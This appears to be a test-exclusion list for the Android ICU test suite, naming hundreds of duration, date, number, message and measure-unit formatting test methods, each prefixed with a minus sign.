-android.icu.dev.test.duration.languages.Test_en#testShortForms
-android.icu.dev.test.duration.languages.Test_es#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_es#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_es#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_es#testHalfUnits
-android.icu.dev.test.duration.languages.Test_es#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_es#testMediumForms
-android.icu.dev.test.duration.languages.Test_es#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_es#testShortForms
-android.icu.dev.test.duration.languages.Test_fr#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_fr#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_fr#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_fr#testHalfUnits
-android.icu.dev.test.duration.languages.Test_fr#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_fr#testMediumForms
-android.icu.dev.test.duration.languages.Test_fr#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_fr#testShortForms
-android.icu.dev.test.duration.languages.Test_he_IL#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_he_IL#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_he_IL#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_he_IL#testHalfUnits
-android.icu.dev.test.duration.languages.Test_he_IL#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_he_IL#testMediumForms
-android.icu.dev.test.duration.languages.Test_he_IL#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_he_IL#testShortForms
-android.icu.dev.test.duration.languages.Test_hi#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_hi#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_hi#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_hi#testHalfUnits
-android.icu.dev.test.duration.languages.Test_hi#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_hi#testMediumForms
-android.icu.dev.test.duration.languages.Test_hi#testMonthNames
-android.icu.dev.test.duration.languages.Test_hi#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_hi#testShortForms
-android.icu.dev.test.duration.languages.Test_it#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_it#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_it#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_it#testHalfUnits
-android.icu.dev.test.duration.languages.Test_it#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_it#testMediumForms
-android.icu.dev.test.duration.languages.Test_it#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_it#testShortForms
-android.icu.dev.test.duration.languages.Test_ja#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_ja#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_ja#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_ja#testHalfUnits
-android.icu.dev.test.duration.languages.Test_ja#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_ja#testMediumForms
-android.icu.dev.test.duration.languages.Test_ja#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_ja#testNoMillis
-android.icu.dev.test.duration.languages.Test_ja#testOmitZeros
-android.icu.dev.test.duration.languages.Test_ja#testShortForms
-android.icu.dev.test.duration.languages.Test_ko#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_ko#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_ko#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_ko#testHalfUnits
-android.icu.dev.test.duration.languages.Test_ko#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_ko#testMediumForms
-android.icu.dev.test.duration.languages.Test_ko#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_ko#testShortForms
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testHalfUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testMediumForms
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans_SG#testShortForms
-android.icu.dev.test.duration.languages.Test_zh_Hans#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_zh_Hans#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_zh_Hans#testHalfUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans#testMediumForms
-android.icu.dev.test.duration.languages.Test_zh_Hans#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_zh_Hans#testShortForms
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testHalfUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testMediumForms
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant_HK#testShortForms
-android.icu.dev.test.duration.languages.Test_zh_Hant#testCustomMinutes
-android.icu.dev.test.duration.languages.Test_zh_Hant#testFractionalUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant#testFullPluralizedForms
-android.icu.dev.test.duration.languages.Test_zh_Hant#testHalfUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant#testLimitedUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant#testMediumForms
-android.icu.dev.test.duration.languages.Test_zh_Hant#testMultipleUnits
-android.icu.dev.test.duration.languages.Test_zh_Hant#testShortForms
-android.icu.dev.test.duration.PeriodBuilderFactoryTest#testBuilderFactoryPeriodConstruction
-android.icu.dev.test.duration.PeriodBuilderFactoryTest#testSetAvailableUnitRange
-android.icu.dev.test.duration.PeriodBuilderFactoryTest#testSetUnitIsAvailable
-android.icu.dev.test.duration.PeriodTest#testAnd
-android.icu.dev.test.duration.PeriodTest#testFuturePast
-android.icu.dev.test.duration.PeriodTest#testInvalidCount
-android.icu.dev.test.duration.PeriodTest#testIsSet
-android.icu.dev.test.duration.PeriodTest#testMoreLessThan
-android.icu.dev.test.duration.ResourceBasedPeriodFormatterDataServiceTest#testAvailable
-android.icu.dev.test.format.BigNumberFormatTest#Test4161100
-android.icu.dev.test.format.BigNumberFormatTest#TestAlphaBigDecimal
-android.icu.dev.test.format.BigNumberFormatTest#TestBigDecimalJ28
-android.icu.dev.test.format.BigNumberFormatTest#TestBigDecimalRounding
-android.icu.dev.test.format.BigNumberFormatTest#TestExponent
-android.icu.dev.test.format.BigNumberFormatTest#TestPad
-android.icu.dev.test.format.BigNumberFormatTest#TestPatterns
-android.icu.dev.test.format.BigNumberFormatTest#TestScientific
-android.icu.dev.test.format.BigNumberFormatTest#TestSecondaryGrouping
-android.icu.dev.test.format.CompactDecimalFormatTest#TestACoreCompactFormat
-android.icu.dev.test.format.CompactDecimalFormatTest#TestArabicLongStyle
-android.icu.dev.test.format.CompactDecimalFormatTest#TestCharacterIterator
-android.icu.dev.test.format.CompactDecimalFormatTest#TestCsShort
-android.icu.dev.test.format.CompactDecimalFormatTest#TestDefaultSignificantDigits
-android.icu.dev.test.format.CompactDecimalFormatTest#TestEnglishShort
-android.icu.dev.test.format.CompactDecimalFormatTest#TestEquals
-android.icu.dev.test.format.CompactDecimalFormatTest#TestFieldPosition
-android.icu.dev.test.format.CompactDecimalFormatTest#TestJapaneseShort
-android.icu.dev.test.format.CompactDecimalFormatTest#TestSerbianLong
-android.icu.dev.test.format.CompactDecimalFormatTest#TestSerbianLongNegative
-android.icu.dev.test.format.CompactDecimalFormatTest#TestSerbianShort
-android.icu.dev.test.format.CompactDecimalFormatTest#TestSkLong
-android.icu.dev.test.format.CompactDecimalFormatTest#TestSwahiliShort
-android.icu.dev.test.format.CompactDecimalFormatTest#TestSwahiliShortNegative
-android.icu.dev.test.format.DataDrivenFormatTest#TestConsistentPivot
-android.icu.dev.test.format.DataDrivenFormatTest#TestDateFormatBasic
-android.icu.dev.test.format.DataDrivenFormatTest#TestFormatRelative
-android.icu.dev.test.format.DataDrivenFormatTest#TestHebrew
-android.icu.dev.test.format.DataDrivenFormatTest#TestMoreDateParse
-android.icu.dev.test.format.DataDrivenFormatTest#TestYearLengths
-android.icu.dev.test.format.DateFormatMiscTests#Test4097450
-android.icu.dev.test.format.DateFormatMiscTests#Test4099975new
-android.icu.dev.test.format.DateFormatMiscTests#Test4117335
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4103926
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4148168
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4213086
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4250359
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4253490
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4266432
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4358730
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4375399
-android.icu.dev.test.format.DateFormatRegressionTestJ#Test4468663
-android.icu.dev.test.format.DateFormatRegressionTest#Test4029195
-android.icu.dev.test.format.DateFormatRegressionTest#Test4052408
-android.icu.dev.test.format.DateFormatRegressionTest#Test4056591
-android.icu.dev.test.format.DateFormatRegressionTest#Test4059917
-android.icu.dev.test.format.DateFormatRegressionTest#Test4060212
-android.icu.dev.test.format.DateFormatRegressionTest#Test4061287
-android.icu.dev.test.format.DateFormatRegressionTest#Test4065240
-android.icu.dev.test.format.DateFormatRegressionTest#Test4071441
-android.icu.dev.test.format.DateFormatRegressionTest#Test4073003
-android.icu.dev.test.format.DateFormatRegressionTest#Test4089106
-android.icu.dev.test.format.DateFormatRegressionTest#Test4100302
-android.icu.dev.test.format.DateFormatRegressionTest#Test4101483
-android.icu.dev.test.format.DateFormatRegressionTest#Test4103340
-android.icu.dev.test.format.DateFormatRegressionTest#Test4103341
-android.icu.dev.test.format.DateFormatRegressionTest#Test4104136
-android.icu.dev.test.format.DateFormatRegressionTest#Test4104522
-android.icu.dev.test.format.DateFormatRegressionTest#Test4106807
-android.icu.dev.test.format.DateFormatRegressionTest#Test4108407
-android.icu.dev.test.format.DateFormatRegressionTest#Test4134203
-android.icu.dev.test.format.DateFormatRegressionTest#Test4151631
-android.icu.dev.test.format.DateFormatRegressionTest#Test4151706
-android.icu.dev.test.format.DateFormatRegressionTest#Test4162071
-android.icu.dev.test.format.DateFormatRegressionTest#Test4182066
-android.icu.dev.test.format.DateFormatRegressionTest#Test4210209
-android.icu.dev.test.format.DateFormatRegressionTest#Test5006GetShortMonths
-android.icu.dev.test.format.DateFormatRegressionTest#Test714
-android.icu.dev.test.format.DateFormatRegressionTest#TestDangiFormat
-android.icu.dev.test.format.DateFormatRegressionTest#Test_GEec
-android.icu.dev.test.format.DateFormatRegressionTest#TestHindiArabicDigits
-android.icu.dev.test.format.DateFormatRegressionTest#TestParsing
-android.icu.dev.test.format.DateFormatRegressionTest#TestT10110
-android.icu.dev.test.format.DateFormatRegressionTest#TestT10239
-android.icu.dev.test.format.DateFormatRegressionTest#TestT10334
-android.icu.dev.test.format.DateFormatRegressionTest#TestT10619
-android.icu.dev.test.format.DateFormatRegressionTest#TestT10906
-android.icu.dev.test.format.DateFormatRegressionTest#TestT11363
-android.icu.dev.test.format.DateFormatRegressionTest#TestT5683
-android.icu.dev.test.format.DateFormatRoundTripTest#TestDateFormatRoundTrip
-android.icu.dev.test.format.DateFormatTest#Test10632
-android.icu.dev.test.format.DateFormatTest#Test6880
-android.icu.dev.test.format.DateFormatTest#TestBadInput135
-android.icu.dev.test.format.DateFormatTest#TestBadInput135a
-android.icu.dev.test.format.DateFormatTest#TestCalendarType
-android.icu.dev.test.format.DateFormatTest#TestChineseDateFormatLocalizedPatternChars
-android.icu.dev.test.format.DateFormatTest#TestChineseDateFormatSymbols
-android.icu.dev.test.format.DateFormatTest#TestContext
-android.icu.dev.test.format.DateFormatTest#TestCoverage
-android.icu.dev.test.format.DateFormatTest#TestCzechMonths459
-android.icu.dev.test.format.DateFormatTest#TestDateFormatCalendar
-android.icu.dev.test.format.DateFormatTest#TestDateFormatLeniency
-android.icu.dev.test.format.DateFormatTest#TestDateFormatNone
-android.icu.dev.test.format.DateFormatTest#TestDateFormatZone061
-android.icu.dev.test.format.DateFormatTest#TestDateFormatZone146
-android.icu.dev.test.format.DateFormatTest#TestDayOfYearPattern195
-android.icu.dev.test.format.DateFormatTest#TestDotAndAtLeniency
-android.icu.dev.test.format.DateFormatTest#TestEquals
-android.icu.dev.test.format.DateFormatTest#TestEras
-android.icu.dev.test.format.DateFormatTest#TestErrorChecking
-android.icu.dev.test.format.DateFormatTest#TestExactCountFormat
-android.icu.dev.test.format.DateFormatTest#TestFieldPosition
-android.icu.dev.test.format.DateFormatTest#TestFormalChineseDate
-android.icu.dev.test.format.DateFormatTest#TestFormattingLocaleTimeSeparator
-android.icu.dev.test.format.DateFormatTest#TestFormatToCharacterIterator
-android.icu.dev.test.format.DateFormatTest#TestFormatToCharacterIteratorCoverage
-android.icu.dev.test.format.DateFormatTest#TestGeneral
-android.icu.dev.test.format.DateFormatTest#TestGenericTime
-android.icu.dev.test.format.DateFormatTest#TestGenericTimeZoneOrder
-android.icu.dev.test.format.DateFormatTest#TestGetPatternInstance
-android.icu.dev.test.format.DateFormatTest#TestGMTParsing
-android.icu.dev.test.format.DateFormatTest#TestGreekMay
-android.icu.dev.test.format.DateFormatTest#TestInvalidPattern
-android.icu.dev.test.format.DateFormatTest#TestISOEra
-android.icu.dev.test.format.DateFormatTest#TestLetterDPattern212
-android.icu.dev.test.format.DateFormatTest#TestLocaleDateFormat
-android.icu.dev.test.format.DateFormatTest#TestLongContiguousNumericPattern
-android.icu.dev.test.format.DateFormatTest#TestLongNumericPattern
-android.icu.dev.test.format.DateFormatTest#TestMonthPatterns
-android.icu.dev.test.format.DateFormatTest#TestNarrowNames
-android.icu.dev.test.format.DateFormatTest#TestNonGregoFmtParse
-android.icu.dev.test.format.DateFormatTest#TestOfCalendarField
-android.icu.dev.test.format.DateFormatTest#TestOverrideNumberForamt
-android.icu.dev.test.format.DateFormatTest#TestParseLeniencyAPIs
-android.icu.dev.test.format.DateFormatTest#TestParseMultiPatternMatch
-android.icu.dev.test.format.DateFormatTest#TestParsePosition
-android.icu.dev.test.format.DateFormatTest#TestPartialParse994
-android.icu.dev.test.format.DateFormatTest#TestPatterns
-android.icu.dev.test.format.DateFormatTest#TestQuarters
-android.icu.dev.test.format.DateFormatTest#TestQuotePattern161
-android.icu.dev.test.format.DateFormatTest#TestRelativeDateFormat
-android.icu.dev.test.format.DateFormatTest#TestRoundtripWithCalendar
-android.icu.dev.test.format.DateFormatTest#TestRunTogetherPattern917
-android.icu.dev.test.format.DateFormatTest#TestRunTogetherPattern985
-android.icu.dev.test.format.DateFormatTest#TestShortDays
-android.icu.dev.test.format.DateFormatTest#TestSimpleDateFormatConstructor_String_String_ULocale
-android.icu.dev.test.format.DateFormatTest#TestSpaceParsing
-android.icu.dev.test.format.DateFormatTest#TestStandAloneDays
-android.icu.dev.test.format.DateFormatTest#TestStandAloneMonths
-android.icu.dev.test.format.DateFormatTest#TestTimeZoneDisplayName
-android.icu.dev.test.format.DateFormatTest#TestTwoDigitWOY
-android.icu.dev.test.format.DateFormatTest#TestTwoDigitYear
-android.icu.dev.test.format.DateFormatTest#TestTwoDigitYearDSTParse
-android.icu.dev.test.format.DateFormatTest#TestWallyWedel
-android.icu.dev.test.format.DateFormatTest#TestWhiteSpaceParsing
-android.icu.dev.test.format.DateIntervalFormatTest#TestClone
-android.icu.dev.test.format.DateIntervalFormatTest#TestCloseAsThawed
-android.icu.dev.test.format.DateIntervalFormatTest#TestConstructor
-android.icu.dev.test.format.DateIntervalFormatTest#TestDateIntervalCoverage
-android.icu.dev.test.format.DateIntervalFormatTest#TestDateIntervalInfoEquals
-android.icu.dev.test.format.DateIntervalFormatTest#TestFormat
-android.icu.dev.test.format.DateIntervalFormatTest#TestFormatCLDR
-android.icu.dev.test.format.DateIntervalFormatTest#TestFormatUserDII
-android.icu.dev.test.format.DateIntervalFormatTest#TestFPos_SkelWithSeconds
-android.icu.dev.test.format.DateIntervalFormatTest#TestGetIntervalPattern
-android.icu.dev.test.format.DateIntervalFormatTest#TestGetSetTimeZone
-android.icu.dev.test.format.DateIntervalFormatTest#TestHashCode
-android.icu.dev.test.format.DateIntervalFormatTest#TestIsFrozen
-android.icu.dev.test.format.DateIntervalFormatTest#TestPattternInfoEquals
-android.icu.dev.test.format.DateIntervalFormatTest#TestSetFallbackIntervalPattern
-android.icu.dev.test.format.DateIntervalFormatTest#TestSetIntervalPattern
-android.icu.dev.test.format.DateIntervalFormatTest#TestSetIntervalPatternNoSideEffect
-android.icu.dev.test.format.DateIntervalFormatTest#TestStress
-android.icu.dev.test.format.DateIntervalFormatTest#TestT6396
-android.icu.dev.test.format.DateIntervalFormatTest#TestTicket11583
-android.icu.dev.test.format.DateIntervalFormatTest#TestTicket9914
-android.icu.dev.test.format.DateIntervalFormatTest#TestTicket9919GetInstance
-android.icu.dev.test.format.DateIntervalFormatTest#TestTicket9919Setter
-android.icu.dev.test.format.DateTimeGeneratorTest#TestAllFieldPatterns
-android.icu.dev.test.format.DateTimeGeneratorTest#TestBasic
-android.icu.dev.test.format.DateTimeGeneratorTest#TestCheckFrozen
-android.icu.dev.test.format.DateTimeGeneratorTest#TestClone
-android.icu.dev.test.format.DateTimeGeneratorTest#TestEmpty
-android.icu.dev.test.format.DateTimeGeneratorTest#TestFreezeAndCloneAsThawed
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetAppendItemFormat
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetAppendItemName
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetBaseSkeleton
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetBaseSkeletons
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetDecimal
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetFields
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetInstance
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetRedundants
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetSkeleton
-android.icu.dev.test.format.DateTimeGeneratorTest#TestGetSkeletons
-android.icu.dev.test.format.DateTimeGeneratorTest#TestHasDateAndTimeFields
-android.icu.dev.test.format.DateTimeGeneratorTest#TestIsSingleField
-android.icu.dev.test.format.DateTimeGeneratorTest#TestJavaLocale
-android.icu.dev.test.format.DateTimeGeneratorTest#TestOptions
-android.icu.dev.test.format.DateTimeGeneratorTest#TestOrdering
-android.icu.dev.test.format.DateTimeGeneratorTest#TestPatternParser
-android.icu.dev.test.format.DateTimeGeneratorTest#TestReplacingZoneString
-android.icu.dev.test.format.DateTimeGeneratorTest#TestRoot
-android.icu.dev.test.format.DateTimeGeneratorTest#TestSet
-android.icu.dev.test.format.DateTimeGeneratorTest#TestSimple
-android.icu.dev.test.format.DateTimeGeneratorTest#TestT7169
-android.icu.dev.test.format.DateTimeGeneratorTest#TestToString
-android.icu.dev.test.format.DateTimeGeneratorTest#TestVariableCharacters
-android.icu.dev.test.format.DateTimeGeneratorTest#TestVariableField_String
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestBreakIterator
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestCalendar
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestCollator
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestCurrency
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestDateFormat
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestDefault
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestDisplayName
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestFreezable
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestJB5380
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestNumberFormat
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestResourceBundle
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestSetLocales
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestTerritory
-android.icu.dev.test.format.GlobalizationPreferencesTest#TestTimeZone
-android.icu.dev.test.format.IntlTestDateFormatAPIC#TestNameHiding
-android.icu.dev.test.format.IntlTestDateFormatAPI#TestAPI
-android.icu.dev.test.format.IntlTestDateFormatAPI#TestEquals
-android.icu.dev.test.format.IntlTestDateFormatSymbols#TestConstructorWithCalendar
-android.icu.dev.test.format.IntlTestDateFormatSymbols#TestGetEraNames
-android.icu.dev.test.format.IntlTestDateFormatSymbols#TestGetMonths
-android.icu.dev.test.format.IntlTestDateFormatSymbols#TestGetMonths2
-android.icu.dev.test.format.IntlTestDateFormatSymbols#TestGetWeekdays2
-android.icu.dev.test.format.IntlTestDateFormatSymbols#TestSymbols
-android.icu.dev.test.format.IntlTestDateFormat#TestAvailableLocales
-android.icu.dev.test.format.IntlTestDateFormat#TestFormat
-android.icu.dev.test.format.IntlTestDateFormat#TestRoundtrip
-android.icu.dev.test.format.IntlTestDateFormat#TestULocale
-android.icu.dev.test.format.IntlTestDecimalFormatAPIC#TestAPI
-android.icu.dev.test.format.IntlTestDecimalFormatAPIC#testFormatToCharacterIterator
-android.icu.dev.test.format.IntlTestDecimalFormatAPIC#TestRounding
-android.icu.dev.test.format.IntlTestDecimalFormatAPI#TestAPI
-android.icu.dev.test.format.IntlTestDecimalFormatAPI#testJB1871
-android.icu.dev.test.format.IntlTestDecimalFormatAPI#testJB4971
-android.icu.dev.test.format.IntlTestDecimalFormatAPI#testJB6134
-android.icu.dev.test.format.IntlTestDecimalFormatAPI#testJB6354
-android.icu.dev.test.format.IntlTestDecimalFormatAPI#testJB6648
-android.icu.dev.test.format.IntlTestDecimalFormatSymbolsC#TestSymbols
-android.icu.dev.test.format.IntlTestDecimalFormatSymbols#testCoverage
-android.icu.dev.test.format.IntlTestDecimalFormatSymbols#TestSymbols
-android.icu.dev.test.format.IntlTestNumberFormatAPI#TestAPI
-android.icu.dev.test.format.IntlTestNumberFormatAPI#TestCoverage
-android.icu.dev.test.format.IntlTestNumberFormat#TestAvailableLocales
-android.icu.dev.test.format.IntlTestNumberFormat#TestLocale
-android.icu.dev.test.format.IntlTestNumberFormat#TestMonster
-android.icu.dev.test.format.IntlTestSimpleDateFormatAPI#TestAPI
-android.icu.dev.test.format.IntlTestSimpleDateFormatAPI#TestCoverage
-android.icu.dev.test.format.ListFormatterTest#Test9946
-android.icu.dev.test.format.ListFormatterTest#TestBasic
-android.icu.dev.test.format.ListFormatterTest#TestCreatePatternForNumItems
-android.icu.dev.test.format.ListFormatterTest#TestEnglish
-android.icu.dev.test.format.ListFormatterTest#TestFromList
-android.icu.dev.test.format.ListFormatterTest#TestGetLocale
-android.icu.dev.test.format.ListFormatterTest#TestGetPatternForNumItemsException
-android.icu.dev.test.format.ListFormatterTest#TestJapanese
-android.icu.dev.test.format.ListFormatterTest#TestPatternOutOfOrder
-android.icu.dev.test.format.ListFormatterTest#TestSpecial
-android.icu.dev.test.format.MeasureUnitTest#Test10219FractionalPlurals
-android.icu.dev.test.format.MeasureUnitTest#testAUnit
-android.icu.dev.test.format.MeasureUnitTest#TestCompatible53_1
-android.icu.dev.test.format.MeasureUnitTest#TestCompatible54_1
-android.icu.dev.test.format.MeasureUnitTest#TestCompatible55_1
-android.icu.dev.test.format.MeasureUnitTest#TestCompatible56_1
-android.icu.dev.test.format.MeasureUnitTest#testCurrencies
-android.icu.dev.test.format.MeasureUnitTest#testCurrencyFormatLocale
-android.icu.dev.test.format.MeasureUnitTest#testCurrencyFormatStandInForMeasureFormat
-android.icu.dev.test.format.MeasureUnitTest#testDoubleZero
-android.icu.dev.test.format.MeasureUnitTest#testEqHashCode
-android.icu.dev.test.format.MeasureUnitTest#testEqHashCodeOfMeasure
-android.icu.dev.test.format.MeasureUnitTest#TestExamplesInDocs
-android.icu.dev.test.format.MeasureUnitTest#testFieldPosition
-android.icu.dev.test.format.MeasureUnitTest#testFieldPositionMultiple
-android.icu.dev.test.format.MeasureUnitTest#testFormatMeasuresOneArg
-android.icu.dev.test.format.MeasureUnitTest#testFormatMeasuresZeroArg
-android.icu.dev.test.format.MeasureUnitTest#TestFormatPeriodEn
-android.icu.dev.test.format.MeasureUnitTest#testFormatSingleArg
-android.icu.dev.test.format.MeasureUnitTest#testGetLocale
-android.icu.dev.test.format.MeasureUnitTest#testGram
-android.icu.dev.test.format.MeasureUnitTest#TestGreek
-android.icu.dev.test.format.MeasureUnitTest#testIndividualPluralFallback
-android.icu.dev.test.format.MeasureUnitTest#testMultiples
-android.icu.dev.test.format.MeasureUnitTest#testNumeratorPlurals
-android.icu.dev.test.format.MeasureUnitTest#testOldFormatBadArg
-android.icu.dev.test.format.MeasureUnitTest#testOldFormatWithArray
-android.icu.dev.test.format.MeasureUnitTest#testOldFormatWithList
-android.icu.dev.test.format.MeasureUnitTest#testParseObject
-android.icu.dev.test.format.MeasureUnitTest#TestSerial
-android.icu.dev.test.format.MeasureUnitTest#TestSerialFormatWidthEnum
-android.icu.dev.test.format.MeasureUnitTest#testSimplePer
-android.icu.dev.test.format.MeasureUnitTest#testUnitPerUnitResolution
-android.icu.dev.test.format.MessagePatternUtilTest#TestChoiceArg
-android.icu.dev.test.format.MessagePatternUtilTest#TestComplexArgs
-android.icu.dev.test.format.MessagePatternUtilTest#TestHello
-android.icu.dev.test.format.MessagePatternUtilTest#TestHelloWithApos
-android.icu.dev.test.format.MessagePatternUtilTest#TestHelloWithQuote
-android.icu.dev.test.format.MessagePatternUtilTest#TestNoneArg
-android.icu.dev.test.format.MessagePatternUtilTest#TestPluralArg
-android.icu.dev.test.format.MessagePatternUtilTest#TestPluralVariantsByType
-android.icu.dev.test.format.MessagePatternUtilTest#TestSelectArg
-android.icu.dev.test.format.MessagePatternUtilTest#TestSelectOrdinalArg
-android.icu.dev.test.format.MessagePatternUtilTest#TestSelectVariantsByType
-android.icu.dev.test.format.MessagePatternUtilTest#TestSimpleArg
-android.icu.dev.test.format.MessageRegression#Test4031438
-android.icu.dev.test.format.MessageRegression#Test4052223
-android.icu.dev.test.format.MessageRegression#Test4074764
-android.icu.dev.test.format.MessageRegression#Test4094906
-android.icu.dev.test.format.MessageRegression#Test4104976
-android.icu.dev.test.format.MessageRegression#Test4105380
-android.icu.dev.test.format.MessageRegression#Test4106659
-android.icu.dev.test.format.MessageRegression#Test4106660
-android.icu.dev.test.format.MessageRegression#Test4106661
-android.icu.dev.test.format.MessageRegression#Test4111739
-android.icu.dev.test.format.MessageRegression#Test4112104
-android.icu.dev.test.format.MessageRegression#Test4113018
-android.icu.dev.test.format.MessageRegression#Test4114739
-android.icu.dev.test.format.MessageRegression#Test4114743
-android.icu.dev.test.format.MessageRegression#Test4116444
-android.icu.dev.test.format.MessageRegression#Test4118592
-android.icu.dev.test.format.MessageRegression#Test4118594
-android.icu.dev.test.format.MessageRegression#Test4120552
-android.icu.dev.test.format.MessageRegression#Test4142938
-android.icu.dev.test.format.MessageRegression#Test4169959
-android.icu.dev.test.format.MessageRegression#test4232154
-android.icu.dev.test.format.MessageRegression#test4293229
-android.icu.dev.test.format.MessageRegression#testBugTestsWithNamesArguments
-android.icu.dev.test.format.MessageRegression#TestChoicePatternQuote
-android.icu.dev.test.format.MessageRegression#TestSerialization
-android.icu.dev.test.format.NumberFormatRegistrationTest#TestRegistration
-android.icu.dev.test.format.NumberFormatRegressionTest#Test4161100
-android.icu.dev.test.format.NumberFormatRegressionTest#Test4408066
-android.icu.dev.test.format.NumberFormatRegressionTest#TestJ691
-android.icu.dev.test.format.NumberFormatRegressionTest#TestJB5509
-android.icu.dev.test.format.NumberFormatRegressionTest#TestNBSPInPattern
-android.icu.dev.test.format.NumberFormatRegressionTest#TestSurrogatesParsing
-android.icu.dev.test.format.NumberFormatRegressionTest#TestT5698
-android.icu.dev.test.format.NumberFormatRegressionTest#TestT9293
-android.icu.dev.test.format.NumberFormatRoundTripTest#TestNumberFormatRoundTrip
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestBasicPatterns
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestNfSetters
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestPadding
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestPercent
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestPerMilli
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestRounding
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestScientificNotation
-android.icu.dev.test.format.NumberFormatSpecificationTest#TestSignificantDigits
-android.icu.dev.test.format.NumberFormatTest#Test10419RoundingWith0FractionDigits
-android.icu.dev.test.format.NumberFormatTest#Test6816
-android.icu.dev.test.format.NumberFormatTest#TestAccountingCurrency
-android.icu.dev.test.format.NumberFormatTest#TestBigDecimalRounding
-android.icu.dev.test.format.NumberFormatTest#TestBug9936
-android.icu.dev.test.format.NumberFormatTest#TestCases
-android.icu.dev.test.format.NumberFormatTest#TestCompatibleCurrencies
-android.icu.dev.test.format.NumberFormatTest#TestComplexCurrency
-android.icu.dev.test.format.NumberFormatTest#TestContext
-android.icu.dev.test.format.NumberFormatTest#TestCoverage
